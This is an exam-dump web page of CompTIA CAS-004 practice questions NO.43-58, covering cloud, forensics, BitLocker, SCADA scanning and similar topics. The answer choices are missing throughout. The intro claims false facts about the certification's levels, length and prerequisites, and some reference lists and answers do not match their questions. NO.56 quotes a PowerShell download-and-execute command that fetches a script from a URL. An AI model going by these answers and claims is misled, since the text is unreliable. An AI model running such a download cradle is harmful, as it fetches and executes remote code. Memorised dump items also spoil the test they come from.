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Tag Archives: CAS-004 latest practice questions ppt

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Updated Free CompTIA CAS-004 Test Engine Questions with 620 Q&As [Q43-Q58]

Updated Free CompTIA CAS-004 Test Engine Questions with 620 Q&As [Q43-Q58]

July 9, 2025 adminCAS-004, CompTIACAS-004 latest exam tutorial, CAS-004 latest practice questions ppt, CAS-004 valid braindumps free download, CAS-004 valid practice questions freeLeave a Comment on Updated Free CompTIA CAS-004 Test Engine Questions with 620 Q&As [Q43-Q58]

Updated Free CompTIA CAS-004 Test Engine Questions with 620 Q&As

The Best CompTIA CASP CAS-004 Professional Exam Questions

To be eligible for the CASP+ certification exam, candidates must have a minimum of ten years of experience in IT administration, including a minimum of five years of hands-on technical security experience. CompTIA Advanced Security Practitioner (CASP+) Exam certification exam is intended to validate the candidate’s knowledge and skills in advanced-level cybersecurity concepts and practices. CompTIA Advanced Security Practitioner (CASP+) Exam certification will demonstrate to employers that the candidate has the expertise and experience to design, implement, and manage cybersecurity solutions at the enterprise level.

What is the importance of CompTIA CAS-004 Certification

The CompTIA Advanced Security Practitioner certification (CASP) is the highest available certification in the market today. The CASP exam is an intense, eight-hour test designed to test your knowledge of advanced security concepts such as security architecture and design, penetration testing, risk management, forensics, ethical hacking and legal implications of IT security issues. CompTIA has announced the addition of a new certification exam which is also covered in CompTIA CAS-004 exam dumps, for their portfolio of certifications they offer to go along with the existing CompTIA A+ and Network+ certifications. The new exam is called “CompTIA Advanced Security Practitioner” or CAS-004. This new certification will be given as part of a continuous assessment program. This means that after you’ve earned the CAS-001 (CompTIA’s entry level security certification) and the CAS-003 (their intermediate level security certification), you can then continue your education by taking the CAS-004 exam.

 

NO.43 A health company has reached the physical and computing capabilities in its datacenter, but the computing demand continues to increase. The infrastructure is fully virtualized and runs custom and commercial healthcare application that process sensitive health and payment information. Which of the following should the company implement to ensure it can meet the computing demand while complying with healthcare standard for virtualization and cloud computing?

 
 
 
 

NO.44 A developer is creating a new mobile application for a company. The application uses REST API and TLS 1.2 to communicate securely with the external back-end server. Due to this configuration, the company is concerned about HTTPS interception attacks.
Which of the following would be the BEST solution against this type of attack?

 
 
 
 

NO.45 A security analyst is reviewing network connectivity on a Linux workstation and examining the active TCP connections using the command line.
Which of the following commands would be the BEST to run to view only active Internet connections?

 
 
 
 
 
Reference: https://www.codegrepper.com/code-examples/shell/netstat+find+port The netstat command is a tool that displays network connections, routing tables, interface statistics, masquerade connections, and multicast memberships. The command has various options that can modify its output. The options used in the correct answer are:
p: Show the PID and name of the program to which each socket belongs.
n: Show numerical addresses instead of trying to determine symbolic host, port or user names.
u: Show only UDP connections.
t: Show only TCP connections.
The grep command is a tool that searches for a pattern in a file or input. The option used in the correct answer is:
P: Interpret the pattern as a Perl-compatible regular expression (PCRE).
The pattern used in the correct answer is ^tcp, which means any line that starts with tcp. This will filter out any UDP connections from the output.
The sudo command is a tool that allows a user to run programs with the security privileges of another user (usually the superuser or root). This is necessary to run the netstat command with the -p option, which requires root privileges.
The correct answer will show only active TCP connections with numerical addresses and program names, which can be considered as active Internet connections. The other answers will either show different types of connections (such as listening or local), use different options that are not relevant (such as -a, -l, -w, or -s), or use different commands that are not useful (such as awk or column). References:
https://man7.org/linux/man-pages/man8/netstat.8.html https://man7.org/linux/man-pages/man1/grep.1.html
https://man7.org/linux/man-pages/man8/sudo.8.html

NO.46 An organization is rolling out a robust vulnerability management system to monitor SCADA devices on the network. Which of the following scan types should be used to monitor these system types?

 
 
 
 
Passive scanning is the safest approach for SCADA systems to avoid disrupting their operations. It detects vulnerabilities by analyzing network traffic without directly interacting with the systems, aligning with CASP+ objective 4.2, which focuses on securing critical systems and reducing risks during vulnerability management.
________________________________________

NO.47 A security analyst is investigating a series of suspicious emails by employees to the security team. The email appear to come from a current business partner and do not contain images or URLs. No images or URLs were stripped from the message by the security tools the company uses instead, the emails only include the following in plain text.

Which of the following should the security analyst perform?

 
 
 
 

NO.48 A company has a website with a huge database. The company wants to ensure that a DR site could be brought online quickly in the event of a failover. and end users would miss no more than 30 minutes of dat a. Which of the following should the company do to meet these objectives?

 
 
 
 
To meet the objective of ensuring minimal data loss (no more than 30 minutes of data) in case of a failover, real-time replication is the best solution. This technique involves continuously replicating data from the primary site to the disaster recovery (DR) site, minimizing data loss to the smallest possible timeframe (i.e., near real-time). Other options, such as content caching or nightly backups, do not address the requirement for minimal data loss effectively. Increasing bandwidth to the DR site may help with the recovery process but will not necessarily reduce the amount of lost data. CASP+ emphasizes the need for solutions like real-time replication to meet strict recovery time objectives (RTO) and recovery point objectives (RPO) in disaster recovery planning.
Reference:
CASP+ CAS-004 Exam Objectives: Domain 3.0 – Enterprise Security Architecture (Disaster Recovery) CompTIA CASP+ Study Guide: Data Replication and Disaster Recovery

NO.49 After a cybersecurity incident, a judge found that a company did not conduct a proper forensic investigation. The company was ordered to pay penalties. Which of the following forensic steps would be best to prevent this from happening again?

 
 
 
 
Proper forensic investigation requires that evidence is preserved in a manner that maintains its integrity and reliability. To prevent legal issues such as penalties for not conducting a proper forensic investigation, the first and most crucial step is to ensure that evidence is preserved so that it can be verified, collected, and analyzed correctly. This involves making sure that the evidence is not tampered with or altered from the time it is identified until it is presented in a legal proceeding.

NO.50 You are a security analyst tasked with interpreting an Nmap scan output from company’s privileged network.
The company’s hardening guidelines indicate the following:
There should be one primary server or service per device.
Only default ports should be used.
Non-secure protocols should be disabled.
INSTRUCTIONS
Using the Nmap output, identify the devices on the network and their roles, and any open ports that should be closed.
For each device found by Nmap, add a device entry to the Devices Discovered list, with the following information:
The IP address of the device
The primary server or service of the device (Note that each IP should by associated with one service/port only) The protocol(s) that should be disabled based on the hardening guidelines (Note that multiple ports may need to be closed to comply with the hardening guidelines) If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

10.1.45.65 SFTP Server Disable 8080
10.1.45.66 Email Server Disable 415 and 443
10.1.45.67 Web Server Disable 21, 80
10.1.45.68 UTM Appliance Disable 21

NO.51 A network administrator receives a ticket regarding an error from a remote worker who is trying to reboot a laptop. The laptop has not yet loaded the operating system, and the user is unable to continue the boot process.
The administrator is able to provide the user with a recovery PIN, and the user is able to reboot the system and access the device as needed. Which of the following is the MOST likely cause of the error?

 
 
 
 
The most likely cause of the error is the failure of TPM authentication. TPM stands for Trusted Platform Module, which is a hardware component that stores encryption keys and other security information. TPM can be used by BitLocker to protect the encryption keys and verify the integrity of the boot process. If TPM fails to authenticate the laptop, BitLocker will enter recovery mode and ask for a recovery PIN, which is a 48-digit numerical password that can be used to unlock the system. The administrator should check the TPM status and configuration and make sure it is working properly. Verified References:
* https://support.microsoft.com/en-us/windows/finding-your-bitlocker-recovery-key-in-windows-
6b71ad27-0b89-ea08-f143-056f5ab347d6
* https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker
/bitlocker-recovery-guide-plan
* https://docs.sophos.com/esg/sgn/8-1/user/win/en-us/esg/SafeGuard-Enterprise/tasks
/BitLockerRecoveryKey.html

NO.52 A company that all mobile devices be encrypted, commensurate with the full disk encryption scheme of assets, such as workstation, servers, and laptops. Which of the following will MOST likely be a limiting factor when selecting mobile device managers for the company?

 
 
 
 
The inability to select AES-256 encryption will most likely be a limiting factor when selecting mobile device managers for the company. AES-256 is a symmetric encryption algorithm that uses a 256-bit key to encrypt and decrypt data. It is considered one of the strongest encryption methods available and is widely used for securing sensitive data. Mobile device managers are software applications that allow administrators to remotely manage and secure mobile devices used by employees. However, not all mobile device managers may support AES-256 encryption or allow the company to enforce it as a policy on all mobile devices.
Verified References: https://www.comptia.org/training/books/casp-cas-004-study-guide
,https://searchmobilecomputing.techtarget.com/definition/mobile-device-management

NO.53 Users are reporting intermittent access issues with a new cloud application that was recently added to the network. Upon investigation, the security administrator notices the human resources department is able to run required queries with the new application, but the marketing department is unable to pull any needed reports on various resources using the new application. Which of the following MOST likely needs to be done to avoid this in the future?

 
 
 
 
Modifying the ACLs (access control lists) is the most likely solution to avoid the intermittent access issues with the new cloud application. ACLs are used to define permissions for different users and groups to access resources on a network. The problem may be caused by incorrect or missing ACLs for the marketing department that prevent them from accessing the cloud application or its data sources. The other options are either irrelevant or less effective for the given scenario.

NO.54 A consultant needs access to a customer’s cloud environment. The customer wants to enforce the following engagement requirements:
* All customer data must remain under the control of the customer at all times.
* Third-party access to the customer environment must be controlled by the customer.
* Authentication credentials and access control must be under the customer’s control.
Which of the following should the consultant do to ensure all customer requirements are satisfied when accessing the cloud environment?

 
 
 
 
The consultant should use the customer-provided VDI solution to perform work on the customer’s environment. VDI stands for virtual desktop infrastructure, which is a technology that allows users to access a virtual desktop hosted on a remote server. VDI can help meet the customer’s requirements by ensuring that all customer data remains under the customer’s control at all times, that third-party access to the customer environment is controlled by the customer, and that authentication credentials and access control are under the customer’s control. Verified References:
https://www.kaspersky.com/resource-center/threats/how-to-avoid-social-engineering-attacks
https://www.eccouncil.org/cybersecurity-exchange/ethical-hacking/understanding-preventing-social-engin
https://www.indusface.com/blog/10-ways-businesses-can-prevent-social-engineering-attacks/

NO.55 A security analyst has been provided the following partial Snort IDS rule to review and add into the company’s Snort IDS to identify a CVE:

Which of the following should the analyst recommend to mitigate this type of vulnerability?

 
 
 
 
Regular operating system patching is critical to mitigating vulnerabilities. When a Snort IDS rule is provided to identify a CVE, it typically means there is a known vulnerability that can be exploited. Keeping systems updated with the latest patches helps to close off these vulnerabilities and protect against exploitation.

NO.56 A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file: powershell EX(New-Object Net.WebClient).DownloadString (‘https://content.comptia.org/casp/whois.psl’);whois
Which of the following security controls would have alerted and prevented the next phase of the attack?

 
 
 
 
An EDR and whitelist should protect from this attack.

NO.57 A company’s Chief Information Security Officer is concerned that the company’s proposed move to the cloud could lead to a lack of visibility into network traffic flow logs within the VPC.
Which of the following compensating controls would be BEST to implement in this situation?

 
 
 
 
Reference: https://runpanther.io/cyber-explained/cloud-based-siem-explained/

NO.58 A cloud security architect has been tasked with finding a solution for hardening VMS. The solution must meet the following requirements:
* Data needs to be stored outside of the VMS.
* No unauthorized modifications to the VMS are allowed
* If a change needs to be done, a new VM needs to be deployed.
Which of the following is the BEST solution?

 
 
 
 
An immutable system is a system that does not change after it is deployed. Any changes or updates are done by creating a new system from a common image or template and replacing the old one. An immutable system meets the requirements of storing data outside of the VMs, preventing unauthorized modifications to the VMs, and deploying a new VM if a change needs to be done. An immutable system can improve the security, reliability, and consistency of the VMs by avoiding configuration drift, human errors, or malicious tampering. An immutable system can also simplify the deployment process and enable faster recovery from failures. Verified Reference:
https://cloudinfrastructureservices.co.uk/vm-types-for-devops-pets-vs-cattle-vs-immutable/
https://www.digitalocean.com/community/tutorials/what-is-immutable-infrastructure

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The CASP+ certification exam is designed for experienced IT professionals who are looking to advance their cybersecurity knowledge and skills. CAS-004 exam covers various topics, such as enterprise security architecture and design, risk management, security operations and incident response, technical integration of enterprise security, research and collaboration, and governance, risk, and compliance. CASP+ certification holders are recognized for their ability to design and implement advanced-level security solutions for organizations, and their knowledge of the latest cybersecurity trends and technologies. CompTIA Advanced Security Practitioner (CASP+) Exam certification is also a requirement for many high-level cybersecurity positions in government agencies and defense organizations.

 

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